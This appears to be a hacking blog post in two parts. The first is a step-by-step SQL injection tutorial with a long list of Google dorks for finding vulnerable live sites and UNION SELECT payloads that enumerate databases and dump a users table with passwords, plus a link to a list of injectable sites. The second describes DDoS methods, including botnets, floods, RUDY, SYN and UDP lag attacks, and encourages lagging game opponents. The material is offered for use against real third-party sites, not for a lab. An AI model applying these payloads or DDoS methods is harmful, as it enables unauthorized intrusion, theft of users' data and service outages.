SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection




Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.



Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id= 
and you can also write your own.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.abcd.com/index.php?catid=1

Add a ' (apos) at the end of the URL. Such that the URL looks like
hxxp://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.
eg. hxxp://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place  where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4:  Expolit
To get list of databases:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm

To get the current user:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result:  admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Extract information:
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--

List of SQLi vulnerable sites: http://techkranti.blogspot.com/p/sql-injectable-sites.html
Happy Hacking!!!

A typical DDoS tool.

DDOS – Distributed Denial of Service Attack.

This is as horrible as the name sounds. A DDoS, when performed, will literally take things down if you have some heavy hardware to attack. DDoSing basically means sending a large amount of packets and requests to a machine, more than it is able to handle and thus cause it to stop functioning. While Facebook and NASA are certain that their websites are secure, DDoSing is one thing they will take a legal action against almost immediately (NASA is famous for carrying DDoS investigations). DDoSing may sound as simple as causing a machine to stop, but it can be a no. of ways this process can be carried out.

1. Botnet attack

A botnet means a network of bots (infected computers) connected with each other and obeying their hidden botherder (hacker or the master controlling the network). While making a botnet can be as simple as spreading a keylogger, if used effectively and if the bots consist of a good connection, this attack can be powerful enough than what is expected. People who run botnets first infect thousands of computers, and then use them to ping a website/host at the same time causing it to malfunction and shutdown. Bots do not know about what their PC is being used for in this case.

2. Flood

Flooding means using a very expensive and capable server to send large attacks (over 5-10gbps) to machines that are to be taken down by either sending invalid packets, making half-open connections, and mass-pinging. Only a single server is enough in this case and this is the most used method today. People that run booters (ddosers) will most probably use a single server with a big bandwidth cap to attack people.

3. RUDY

RUDY stands for “Are you dead yet?” in the simple terms and this attack will most likely not be performed for a legal cause. The whole purpose of this attack is to trace out the forms from a given URL and flood it with invalid requests. This will most likely consist of a configuration file. RUDY attacks support proxies such as SOCKS5.
Homepage: https://code.google.com/p/r-u-dead-yet/

4. SSYN Flood

This requires the sending of TCP/SYN packets to a host machine with a forged sender address, so when it has to reply back with the ACK ( Acknowledgement) packet, it is unable to perform the action due to the forged sender address which does not exist. The connections become half-open and the packets keep on saturating ultimately shutting down the system.

5. UDP/UDPLag

This is the most used attack in case of games. People can and will want their opposition team to lag a lot, also known as bitchlagging. When they will lag, we will win. This is what attracts gamers to perform such attacks. While the UDP attack will use the UDP protocol (also used by uTorrent) to flood a host with requests and shut it down, UDPLAG will try to saturate a certain amount of packets over time so that the host does not actually shutdown but experiences enough lag to quit the game himself.
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DDoSing can be both for a cause or for fun, but please do not make illegal use of it. Attacking bank gateways and facebook is only going to bring you trouble. Also do not always expect the host to shutdown. If the host has a good upper-level DDoS protection, the firewall will block you and not accept any packets from your side, nullifying your attack.